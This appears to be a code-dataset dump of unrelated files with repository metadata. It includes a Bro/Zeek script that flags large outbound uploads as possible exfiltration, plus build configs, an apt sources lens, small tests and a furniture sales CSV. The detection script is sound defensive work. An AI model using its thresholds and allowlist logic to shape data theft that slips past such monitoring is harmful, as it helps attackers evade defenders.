const flow_suppression_interval = 8hrs &redef; # how long to suppress notices
const min_flow_producer_consumer_ratio = -0.4 &redef; # disregard flows by ratio of up to down
}
# table indexed by source IP of hosts that have triggered notices and/or emails
# if the number of large uploads exceed maxNumup then generate email
# expire table's entry for IP if older than 1 days
global large_flow_count_by_sender: table[addr] of count &default=0 &create_expire=1days;
# table indexed by dest IP of hosts that have had large uploads to them
# if the number of large uploads exceed maxNumup then generate email
# expire table's entry for IP if older than 1 days
global large_flow_count_by_receiver: table[addr] of count &default=0 &create_expire=1days;
function connection_producer_consumer_ratio(c: connection): double
{
# calculate our own floww PCR as described in http://resources.sei.cmu.edu/asset_files/Presentation/2014_017_001_90063.pdf
local flow_pcr: double = ((c$orig$num_bytes_ip + 0.0) - (c$resp$num_bytes_ip + 0.0)) / ((c$orig$num_bytes_ip + 0.0) + (c$resp$num_bytes_ip + 0.0));
return flow_pcr;
}
function handle_flow_exception(c: connection, reverse_lookup_hostname: string)
{
# Calculate when the connection ended
local conn_end_time = c$start_time + c$duration;
# Represent data as human redable data in Notices
local start_time = Human::time_to_rfc3339(c$start_time);
local end_time = Human::time_to_rfc3339(conn_end_time);
local duration = Human::interval_to_human_string(c$duration);
local bytes_sent = Human::bytes_to_human_string(c$orig$num_bytes_ip);
local bytes_received = Human::bytes_to_human_string(c$resp$num_bytes_ip);
# Calculate the PCR for this flow
local flow_pcr = connection_producer_consumer_ratio(c);
local sub_message = "\n";
sub_message = string_cat(fmt("Flows started: %s, Flows ended: %s\nFlow Producer-Consumer Ratio: %s\n",
start_time, end_time, fmt("%s", flow_pcr)));
# Transport securtiy details
if (c?$ssl && c$ssl?$server_name)
{
sub_message = string_cat(sub_message, fmt("Transport Security Server Name: %s\n", c$ssl$server_name));
}
if (c?$ssl && c$ssl?$subject)
{
sub_message = string_cat(sub_message, fmt("Transport Security Subject Extracted CN: %s\n", x509_subject_common_name(c$ssl$subject)));
sub_message = string_cat(sub_message, fmt("Transport Security Subject: %s\n", c$ssl$subject));
}
if (c?$ssl && c$ssl?$san_dns)
{
sub_message = string_cat(sub_message, fmt("Subject Alternative Names: %s\n", c$ssl$san_dns));
}
if (c?$ssl)
{
if (c$ssl?$validation_status)
{
sub_message = string_cat(sub_message, fmt("Transport Security Certificate Validation: %s\n", c$ssl$validation_status));
}
else
sub_message = string_cat(sub_message, fmt("Transport Security Certificate Validation: Inconclusive."));
}
# HTTP parameters
if (c?$http && c$http?$host && c$http?$method && c$http?$uri)
{
sub_message = string_cat(sub_message, fmt("HTTP Request: %s %s%s\n", c$http$method, c$http$host, c$http$uri));
}
if (c?$http && c$http?$user_agent)
{
sub_message = string_cat(sub_message, fmt("HTTP User-Agent: %s\n", c$http$user_agent));
}
# Count how many large uploads were sent to this host
large_flow_count_by_receiver[c$id$resp_h]+=1;
# Alert for large flows, notice the rest
if (large_flow_count_by_receiver[c$id$resp_h] >= count_of_tracked_flows_to_notice)
{
NOTICE([$note=Multiple_Flows,
$msg=fmt("%s has received %s uploads greater than %s from internal hosts over the past %s.",
c$id$resp_h, large_flow_count_by_receiver[c$id$resp_h], bytes_sent, duration),
$sub=sub_message,
$conn=c,
$suppress_for=flow_suppression_interval,
$identifier=cat(c$id$resp_h)]);
}
# Count how many large uploads originated from this host
large_flow_count_by_sender[c$id$orig_h]+=1;
# Alert for large flows, notice the rest
if (large_flow_count_by_sender[c$id$orig_h] >= count_of_tracked_flows_to_notice)
{
NOTICE([$note=Multiple_Flows,
$msg=fmt("%s has sent %s uploads greater than %s over the past %s",
c$id$orig_h, large_flow_count_by_sender[c$id$orig_h], bytes_sent, duration),
$sub=sub_message,
$conn=c,
$suppress_for=flow_suppression_interval,
$identifier=cat(c$id$orig_h)]);
}
# if num_bytes sent over threshold
# and flow pcr is noteworthy
# then send an email alert, else just raise a notice log entry
if (c$orig$num_bytes_ip > flow_bytes_tx_to_notice && flow_pcr > min_flow_producer_consumer_ratio)
{
NOTICE([$note=Large_Flow,
$msg=fmt("%s:%s sent %s to %s (%s:%s) over %s in %s, while receiving %s.",
c$id$orig_h, c$id$orig_p, bytes_sent, reverse_lookup_hostname, c$id$resp_h, c$id$resp_p, duration, c$uid, bytes_received),
$sub=sub_message,
$conn=c,
$suppress_for=480min,
$identifier=cat(c$id$orig_h, " -> ", c$id$resp_h, ":", c$id$resp_p)]);
}
else
{
# raise notice msg and format the time stamp for the sub message so that it is human readable
NOTICE([$note=Flow,
$msg=fmt("%s:%s sent %s to %s (%s:%s) over %s in %s, while receiving %s.",
c$id$orig_h, c$id$orig_p, bytes_sent, reverse_lookup_hostname, c$id$resp_h, c$id$resp_p, duration, c$uid, bytes_received),
$sub=sub_message,
$conn=c,
$suppress_for=480min,
$identifier=cat(c$id$orig_h, ":", c$id$orig_p, " -> ", c$id$resp_h, ":", c$id$resp_p)]);
}
}
event connection_state_remove(c: connection) &priority=10
{
if (c$id$resp_h in 255.255.255.255/32) return;
if (c$orig$num_bytes_ip < flow_bytes_tx_to_log_and_track) return;
if (c$id$orig_h !in Site::local_nets) return;
if (c$id$resp_h in Site::local_nets) return;
if (whitelisted_connection_in_cache(c)) return;
if (whitelisted_connection_by_subnet(c)) return;
if (c?$http && c$http?$host)
{
if (whitelisted_connection_by_hostname(c, c$http$host))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, c$http$host);
return;
}
if (whitelisted_connection_by_hostname_zone(c, c$http$host))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, c$http$host);
return;
}
}
if (c?$ssl && c$ssl?$subject && c$ssl?$validation_status && c$ssl$validation_status == "ok")
{
if (whitelisted_connection_by_hostname_zone(c, x509_subject_common_name(c$ssl$subject)))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, c$ssl$subject);
return;
}
}
if (c?$ssl && c$ssl?$server_name && c$ssl?$validation_status)
{
if (c$ssl$validation_status != "ok") return;
if (whitelisted_connection_by_hostname(c, c$ssl$server_name) || whitelisted_connection_by_hostname_zone(c, c$ssl$server_name))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, c$ssl$server_name);
return;
}
}
if (c?$ssl && c$ssl?$san_dns && c$ssl?$validation_status && c$ssl$validation_status == "ok")
{
for (dns in c$ssl$san_dns)
{
if (whitelisted_connection_by_hostname(c, c$ssl$san_dns[dns]) || whitelisted_connection_by_hostname_zone(c, c$ssl$san_dns[dns]))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, c$ssl$san_dns[dns]);
return;
}
}
}
when (local reverse_lookup_hostname = lookup_addr(c$id$resp_h))
{
if (whitelisted_connection_by_hostname(c, reverse_lookup_hostname)|| whitelisted_connection_by_hostname_zone(c, reverse_lookup_hostname))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, reverse_lookup_hostname);
return;
}
else
{
handle_flow_exception(c, reverse_lookup_hostname);
}
}
} | Bro | 5 | evernote/bro-scripts | exfiltration/scripts/flow.bro | [
"BSD-3-Clause"
] |
{
"Version" : 0.2,
"ModuleName" : "cffiEcere",
"Options" : {
"Warnings" : "All",
"IncludeDirs" : [
"../c"
],
"TargetType" : "SharedLibrary",
"TargetFileName" : "_pyecere",
"Libraries" : [
"ecere",
"python34"
]
},
"Configurations" : [
{
"Name" : "Debug",
"Options" : {
"Debug" : true,
"Optimization" : "None",
"PreprocessorDefinitions" : [
"_DEBUG"
],
"FastMath" : false,
"PostbuildCommands" : [
"$(call cp,obj/debug.$(PLATFORM)$(COMPILER_SUFFIX)/_pyecere.dll,_pyecere.pyd)"
]
}
},
{
"Name" : "Release",
"Options" : {
"Debug" : false,
"Optimization" : "Speed",
"FastMath" : true
}
}
],
"Files" : [
{
"Folder" : "c",
"Files" : [
"../c/eC.c",
"../c/eC.h",
"../c/ecere.c",
"../c/ecere.h"
]
},
{
"Folder" : "generated",
"Files" : [
"./_pyecere.c"
]
},
"build_ecere.py",
"cffi-ecere.h",
"pyecere.py",
"samples/sample.py"
],
"ResourcesPath" : "",
"Resources" : [
]
}
| Ecere Projects | 2 | jerstlouis/ecere-sdk | bindings/python/pyEcere.epj | [
"BSD-3-Clause"
] |
(*
Module: Aptsources
Parsing /etc/apt/sources.list
*)
module Aptsources =
autoload xfm
(************************************************************************
* Group: Utility variables/functions
************************************************************************)
(* View: sep_ws *)
let sep_ws = Sep.space
(* View: eol *)
let eol = Util.del_str "\n"
(* View: comment *)
let comment = Util.comment
(* View: empty *)
let empty = Util.empty
(* View: word *)
let word = /[^][# \n\t]+/
(* View: uri *)
let uri =
let protocol = /[a-z+]+:/
in let path = /\/[^] \t]*/
in let path_brack = /\[[^]]+\]\/?/
in protocol? . path
| protocol . path_brack
(************************************************************************
* Group: Keywords
************************************************************************)
(* View: record *)
let record =
let option_sep = [ label "operation" . store /[+-]/]? . Sep.equal
in let option = Build.key_value /arch|trusted/ option_sep (store Rx.word)
in let options = [ label "options"
. Util.del_str "[" . Sep.opt_space
. Build.opt_list option Sep.space
. Sep.opt_space . Util.del_str "]"
. sep_ws ]
in [ Util.indent . seq "source"
. [ label "type" . store word ] . sep_ws
. options?
. [ label "uri" . store uri ] . sep_ws
. [ label "distribution" . store word ]
. [ label "component" . sep_ws . store word ]*
. del /[ \t]*(#.*)?/ ""
. eol ]
(************************************************************************
* Group: Lens
************************************************************************)
(* View: lns *)
let lns = ( comment | empty | record ) *
(* View: filter *)
let filter = (incl "/etc/apt/sources.list")
. (incl "/etc/apt/sources.list.d/*")
. Util.stdexcl
let xfm = transform lns filter
(* Local Variables: *)
(* mode: caml *)
(* End: *)
| Augeas | 5 | zwass/launcher | pkg/augeas/assets/lenses/aptsources.aug | [
"MIT"
] |
it("should not load node bindings when node option is false", function() {
expect((typeof global)).toBe("undefined");
});
| JavaScript | 3 | 1shenxi/webpack | test/configCases/parsing/node-source-plugin-off/index.js | [
"MIT"
] |
// <copyright file="ChromeOptions.cs" company="WebDriver Committers">
// Licensed to the Software Freedom Conservancy (SFC) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The SFC licenses this file
// to you under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// </copyright>
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Globalization;
using System.IO;
using OpenQA.Selenium.Chromium;
namespace OpenQA.Selenium.Chrome
{
/// <summary>
/// Class to manage options specific to <see cref="ChromeDriver"/>
/// </summary>
/// <remarks>
/// Used with ChromeDriver.exe v17.0.963.0 and higher.
/// </remarks>
/// <example>
/// <code>
/// ChromeOptions options = new ChromeOptions();
/// options.AddExtensions("\path\to\extension.crx");
/// options.BinaryLocation = "\path\to\chrome";
/// </code>
/// <para></para>
/// <para>For use with ChromeDriver:</para>
/// <para></para>
/// <code>
/// ChromeDriver driver = new ChromeDriver(options);
/// </code>
/// <para></para>
/// <para>For use with RemoteWebDriver:</para>
/// <para></para>
/// <code>
/// RemoteWebDriver driver = new RemoteWebDriver(new Uri("http://localhost:4444/wd/hub"), options.ToCapabilities());
/// </code>
/// </example>
public class ChromeOptions : ChromiumOptions
{
private const string ChromeOptionsCapabilityName = "chromeOptions";
private const string BrowserNameValue = "chrome";
/// <summary>
/// Initializes a new instance of the <see cref="ChromeOptions"/> class.
/// </summary>
public ChromeOptions() : base()
{
this.BrowserName = BrowserNameValue;
}
/// <summary>
/// Gets the vendor prefix to apply to Chromium-specific capability names.
/// </summary>
protected override string VendorPrefix
{
get { return "goog"; }
}
/// <summary>
/// Gets the name of the capability used to store Chromium options in
/// an <see cref="ICapabilities"/> object.
/// </summary>
public override string CapabilityName
{
get { return string.Format(CultureInfo.InvariantCulture, "{0}:{1}", this.VendorPrefix, ChromeOptionsCapabilityName); }
}
/// <summary>
/// Provides a means to add additional capabilities not yet added as type safe options
/// for the Chrome driver.
/// </summary>
/// <param name="optionName">The name of the capability to add.</param>
/// <param name="optionValue">The value of the capability to add.</param>
/// <exception cref="ArgumentException">
/// thrown when attempting to add a capability for which there is already a type safe option, or
/// when <paramref name="optionName"/> is <see langword="null"/> or the empty string.
/// </exception>
/// <remarks>Calling <see cref="AddAdditionalChromeOption(string, object)"/>
/// where <paramref name="optionName"/> has already been added will overwrite the
/// existing value with the new value in <paramref name="optionValue"/>.
/// Calling this method adds capabilities to the Chrome-specific options object passed to
/// webdriver executable (property name 'goog:chromeOptions').</remarks>
public void AddAdditionalChromeOption(string optionName, object optionValue)
{
this.AddAdditionalChromiumOption(optionName, optionValue);
}
}
}
| C# | 5 | TamsilAmani/selenium | dotnet/src/webdriver/Chrome/ChromeOptions.cs | [
"Apache-2.0"
] |
--TEST--
Testing ReflectionClass::isEnum()
--FILE--
<?php
class Foo {}
enum Bar {
case Baz;
}
$fooReflection = new ReflectionClass(Foo::class);
$barReflection = new ReflectionClass(Bar::class);
var_dump($fooReflection->isEnum());
var_dump($barReflection->isEnum());
?>
--EXPECT--
bool(false)
bool(true)
| PHP | 4 | NathanFreeman/php-src | ext/reflection/tests/ReflectionClass_isEnum.phpt | [
"PHP-3.01"
] |
ACTUAL,PREDICT,COUNTRY,REGION,DIVISION,PRODTYPE,PRODUCT,QUARTER,YEAR,MONTH
925,850,CANADA,EAST,EDUCATION,FURNITURE,SOFA,1,1993,1993-01-01
999,297,CANADA,EAST,EDUCATION,FURNITURE,SOFA,1,1993,1993-02-01
608,846,CANADA,EAST,EDUCATION,FURNITURE,SOFA,1,1993,1993-03-01
642,533,CANADA,EAST,EDUCATION,FURNITURE,SOFA,2,1993,1993-04-01
656,646,CANADA,EAST,EDUCATION,FURNITURE,SOFA,2,1993,1993-05-01
948,486,CANADA,EAST,EDUCATION,FURNITURE,SOFA,2,1993,1993-06-01
612,717,CANADA,EAST,EDUCATION,FURNITURE,SOFA,3,1993,1993-07-01
114,564,CANADA,EAST,EDUCATION,FURNITURE,SOFA,3,1993,1993-08-01
685,230,CANADA,EAST,EDUCATION,FURNITURE,SOFA,3,1993,1993-09-01
657,494,CANADA,EAST,EDUCATION,FURNITURE,SOFA,4,1993,1993-10-01
608,903,CANADA,EAST,EDUCATION,FURNITURE,SOFA,4,1993,1993-11-01
353,266,CANADA,EAST,EDUCATION,FURNITURE,SOFA,4,1993,1993-12-01
107,190,CANADA,EAST,EDUCATION,FURNITURE,SOFA,1,1994,1994-01-01
354,139,CANADA,EAST,EDUCATION,FURNITURE,SOFA,1,1994,1994-02-01
101,217,CANADA,EAST,EDUCATION,FURNITURE,SOFA,1,1994,1994-03-01
553,560,CANADA,EAST,EDUCATION,FURNITURE,SOFA,2,1994,1994-04-01
877,148,CANADA,EAST,EDUCATION,FURNITURE,SOFA,2,1994,1994-05-01
431,762,CANADA,EAST,EDUCATION,FURNITURE,SOFA,2,1994,1994-06-01
511,457,CANADA,EAST,EDUCATION,FURNITURE,SOFA,3,1994,1994-07-01
157,532,CANADA,EAST,EDUCATION,FURNITURE,SOFA,3,1994,1994-08-01
520,629,CANADA,EAST,EDUCATION,FURNITURE,SOFA,3,1994,1994-09-01
114,491,CANADA,EAST,EDUCATION,FURNITURE,SOFA,4,1994,1994-10-01
277,0,CANADA,EAST,EDUCATION,FURNITURE,SOFA,4,1994,1994-11-01
561,979,CANADA,EAST,EDUCATION,FURNITURE,SOFA,4,1994,1994-12-01
220,585,CANADA,EAST,EDUCATION,FURNITURE,BED,1,1993,1993-01-01
444,267,CANADA,EAST,EDUCATION,FURNITURE,BED,1,1993,1993-02-01
178,487,CANADA,EAST,EDUCATION,FURNITURE,BED,1,1993,1993-03-01
756,764,CANADA,EAST,EDUCATION,FURNITURE,BED,2,1993,1993-04-01
329,312,CANADA,EAST,EDUCATION,FURNITURE,BED,2,1993,1993-05-01
910,531,CANADA,EAST,EDUCATION,FURNITURE,BED,2,1993,1993-06-01
530,536,CANADA,EAST,EDUCATION,FURNITURE,BED,3,1993,1993-07-01
101,773,CANADA,EAST,EDUCATION,FURNITURE,BED,3,1993,1993-08-01
515,143,CANADA,EAST,EDUCATION,FURNITURE,BED,3,1993,1993-09-01
730,126,CANADA,EAST,EDUCATION,FURNITURE,BED,4,1993,1993-10-01
993,862,CANADA,EAST,EDUCATION,FURNITURE,BED,4,1993,1993-11-01
954,754,CANADA,EAST,EDUCATION,FURNITURE,BED,4,1993,1993-12-01
267,410,CANADA,EAST,EDUCATION,FURNITURE,BED,1,1994,1994-01-01
347,701,CANADA,EAST,EDUCATION,FURNITURE,BED,1,1994,1994-02-01
991,204,CANADA,EAST,EDUCATION,FURNITURE,BED,1,1994,1994-03-01
923,509,CANADA,EAST,EDUCATION,FURNITURE,BED,2,1994,1994-04-01
437,378,CANADA,EAST,EDUCATION,FURNITURE,BED,2,1994,1994-05-01
737,507,CANADA,EAST,EDUCATION,FURNITURE,BED,2,1994,1994-06-01
104,49,CANADA,EAST,EDUCATION,FURNITURE,BED,3,1994,1994-07-01
840,876,CANADA,EAST,EDUCATION,FURNITURE,BED,3,1994,1994-08-01
704,66,CANADA,EAST,EDUCATION,FURNITURE,BED,3,1994,1994-09-01
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464,868,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,1,1994,1994-02-01
681,841,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,1,1994,1994-03-01
377,484,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,2,1994,1994-04-01
222,986,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,2,1994,1994-05-01
972,39,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,2,1994,1994-06-01
56,930,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,3,1994,1994-07-01
695,252,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,3,1994,1994-08-01
908,794,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,3,1994,1994-09-01
328,658,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,4,1994,1994-10-01
891,139,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,4,1994,1994-11-01
265,331,U.S.A.,WEST,EDUCATION,OFFICE,TABLE,4,1994,1994-12-01
251,261,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,1,1993,1993-01-01
783,122,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,1,1993,1993-02-01
425,296,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,1,1993,1993-03-01
859,391,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,2,1993,1993-04-01
314,75,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,2,1993,1993-05-01
153,731,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,2,1993,1993-06-01
955,883,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,3,1993,1993-07-01
654,707,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,3,1993,1993-08-01
693,97,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,3,1993,1993-09-01
757,390,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,4,1993,1993-10-01
221,237,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,4,1993,1993-11-01
942,496,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,4,1993,1993-12-01
31,814,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,1,1994,1994-01-01
540,765,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,1,1994,1994-02-01
352,308,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,1,1994,1994-03-01
904,327,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,2,1994,1994-04-01
436,266,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,2,1994,1994-05-01
281,699,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,2,1994,1994-06-01
801,599,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,3,1994,1994-07-01
273,950,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,3,1994,1994-08-01
716,117,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,3,1994,1994-09-01
902,632,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,4,1994,1994-10-01
341,35,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,4,1994,1994-11-01
155,562,U.S.A.,WEST,EDUCATION,OFFICE,CHAIR,4,1994,1994-12-01
796,144,U.S.A.,WEST,EDUCATION,OFFICE,DESK,1,1993,1993-01-01
257,142,U.S.A.,WEST,EDUCATION,OFFICE,DESK,1,1993,1993-02-01
611,273,U.S.A.,WEST,EDUCATION,OFFICE,DESK,1,1993,1993-03-01
6,915,U.S.A.,WEST,EDUCATION,OFFICE,DESK,2,1993,1993-04-01
125,920,U.S.A.,WEST,EDUCATION,OFFICE,DESK,2,1993,1993-05-01
745,294,U.S.A.,WEST,EDUCATION,OFFICE,DESK,2,1993,1993-06-01
437,681,U.S.A.,WEST,EDUCATION,OFFICE,DESK,3,1993,1993-07-01
906,86,U.S.A.,WEST,EDUCATION,OFFICE,DESK,3,1993,1993-08-01
844,764,U.S.A.,WEST,EDUCATION,OFFICE,DESK,3,1993,1993-09-01
413,269,U.S.A.,WEST,EDUCATION,OFFICE,DESK,4,1993,1993-10-01
869,138,U.S.A.,WEST,EDUCATION,OFFICE,DESK,4,1993,1993-11-01
403,834,U.S.A.,WEST,EDUCATION,OFFICE,DESK,4,1993,1993-12-01
137,112,U.S.A.,WEST,EDUCATION,OFFICE,DESK,1,1994,1994-01-01
922,921,U.S.A.,WEST,EDUCATION,OFFICE,DESK,1,1994,1994-02-01
202,859,U.S.A.,WEST,EDUCATION,OFFICE,DESK,1,1994,1994-03-01
955,442,U.S.A.,WEST,EDUCATION,OFFICE,DESK,2,1994,1994-04-01
781,593,U.S.A.,WEST,EDUCATION,OFFICE,DESK,2,1994,1994-05-01
12,346,U.S.A.,WEST,EDUCATION,OFFICE,DESK,2,1994,1994-06-01
931,312,U.S.A.,WEST,EDUCATION,OFFICE,DESK,3,1994,1994-07-01
95,690,U.S.A.,WEST,EDUCATION,OFFICE,DESK,3,1994,1994-08-01
795,344,U.S.A.,WEST,EDUCATION,OFFICE,DESK,3,1994,1994-09-01
542,784,U.S.A.,WEST,EDUCATION,OFFICE,DESK,4,1994,1994-10-01
935,639,U.S.A.,WEST,EDUCATION,OFFICE,DESK,4,1994,1994-11-01
269,726,U.S.A.,WEST,EDUCATION,OFFICE,DESK,4,1994,1994-12-01
197,596,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,1,1993,1993-01-01
828,263,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,1,1993,1993-02-01
461,194,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,1,1993,1993-03-01
35,895,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,2,1993,1993-04-01
88,502,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,2,1993,1993-05-01
832,342,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,2,1993,1993-06-01
900,421,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,3,1993,1993-07-01
368,901,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,3,1993,1993-08-01
201,474,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,3,1993,1993-09-01
758,571,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,4,1993,1993-10-01
504,511,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,4,1993,1993-11-01
864,379,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,4,1993,1993-12-01
574,68,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,1,1994,1994-01-01
61,210,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,1,1994,1994-02-01
565,478,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,1,1994,1994-03-01
475,296,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,2,1994,1994-04-01
44,664,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,2,1994,1994-05-01
145,880,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,2,1994,1994-06-01
813,607,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,3,1994,1994-07-01
703,97,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,3,1994,1994-08-01
757,908,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,3,1994,1994-09-01
96,152,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,4,1994,1994-10-01
860,622,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,4,1994,1994-11-01
750,309,U.S.A.,WEST,CONSUMER,FURNITURE,SOFA,4,1994,1994-12-01
585,912,U.S.A.,WEST,CONSUMER,FURNITURE,BED,1,1993,1993-01-01
127,429,U.S.A.,WEST,CONSUMER,FURNITURE,BED,1,1993,1993-02-01
669,580,U.S.A.,WEST,CONSUMER,FURNITURE,BED,1,1993,1993-03-01
708,179,U.S.A.,WEST,CONSUMER,FURNITURE,BED,2,1993,1993-04-01
830,119,U.S.A.,WEST,CONSUMER,FURNITURE,BED,2,1993,1993-05-01
550,369,U.S.A.,WEST,CONSUMER,FURNITURE,BED,2,1993,1993-06-01
762,882,U.S.A.,WEST,CONSUMER,FURNITURE,BED,3,1993,1993-07-01
468,727,U.S.A.,WEST,CONSUMER,FURNITURE,BED,3,1993,1993-08-01
151,823,U.S.A.,WEST,CONSUMER,FURNITURE,BED,3,1993,1993-09-01
103,783,U.S.A.,WEST,CONSUMER,FURNITURE,BED,4,1993,1993-10-01
876,884,U.S.A.,WEST,CONSUMER,FURNITURE,BED,4,1993,1993-11-01
881,891,U.S.A.,WEST,CONSUMER,FURNITURE,BED,4,1993,1993-12-01
116,909,U.S.A.,WEST,CONSUMER,FURNITURE,BED,1,1994,1994-01-01
677,765,U.S.A.,WEST,CONSUMER,FURNITURE,BED,1,1994,1994-02-01
477,180,U.S.A.,WEST,CONSUMER,FURNITURE,BED,1,1994,1994-03-01
154,712,U.S.A.,WEST,CONSUMER,FURNITURE,BED,2,1994,1994-04-01
331,175,U.S.A.,WEST,CONSUMER,FURNITURE,BED,2,1994,1994-05-01
784,869,U.S.A.,WEST,CONSUMER,FURNITURE,BED,2,1994,1994-06-01
563,820,U.S.A.,WEST,CONSUMER,FURNITURE,BED,3,1994,1994-07-01
229,554,U.S.A.,WEST,CONSUMER,FURNITURE,BED,3,1994,1994-08-01
451,126,U.S.A.,WEST,CONSUMER,FURNITURE,BED,3,1994,1994-09-01
974,760,U.S.A.,WEST,CONSUMER,FURNITURE,BED,4,1994,1994-10-01
484,446,U.S.A.,WEST,CONSUMER,FURNITURE,BED,4,1994,1994-11-01
69,254,U.S.A.,WEST,CONSUMER,FURNITURE,BED,4,1994,1994-12-01
755,516,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,1,1993,1993-01-01
331,779,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,1,1993,1993-02-01
482,987,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,1,1993,1993-03-01
632,318,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,2,1993,1993-04-01
750,427,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,2,1993,1993-05-01
618,86,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,2,1993,1993-06-01
935,553,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,3,1993,1993-07-01
716,315,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,3,1993,1993-08-01
205,328,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,3,1993,1993-09-01
215,521,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,4,1993,1993-10-01
871,156,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,4,1993,1993-11-01
552,841,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,4,1993,1993-12-01
619,623,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,1,1994,1994-01-01
701,849,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,1,1994,1994-02-01
104,438,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,1,1994,1994-03-01
114,719,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,2,1994,1994-04-01
854,906,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,2,1994,1994-05-01
563,267,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,2,1994,1994-06-01
73,542,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,3,1994,1994-07-01
427,552,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,3,1994,1994-08-01
348,428,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,3,1994,1994-09-01
148,158,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,4,1994,1994-10-01
895,379,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,4,1994,1994-11-01
394,142,U.S.A.,WEST,CONSUMER,OFFICE,TABLE,4,1994,1994-12-01
792,588,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,1,1993,1993-01-01
175,506,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,1,1993,1993-02-01
208,382,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,1,1993,1993-03-01
354,132,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,2,1993,1993-04-01
163,652,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,2,1993,1993-05-01
336,723,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,2,1993,1993-06-01
804,682,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,3,1993,1993-07-01
863,382,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,3,1993,1993-08-01
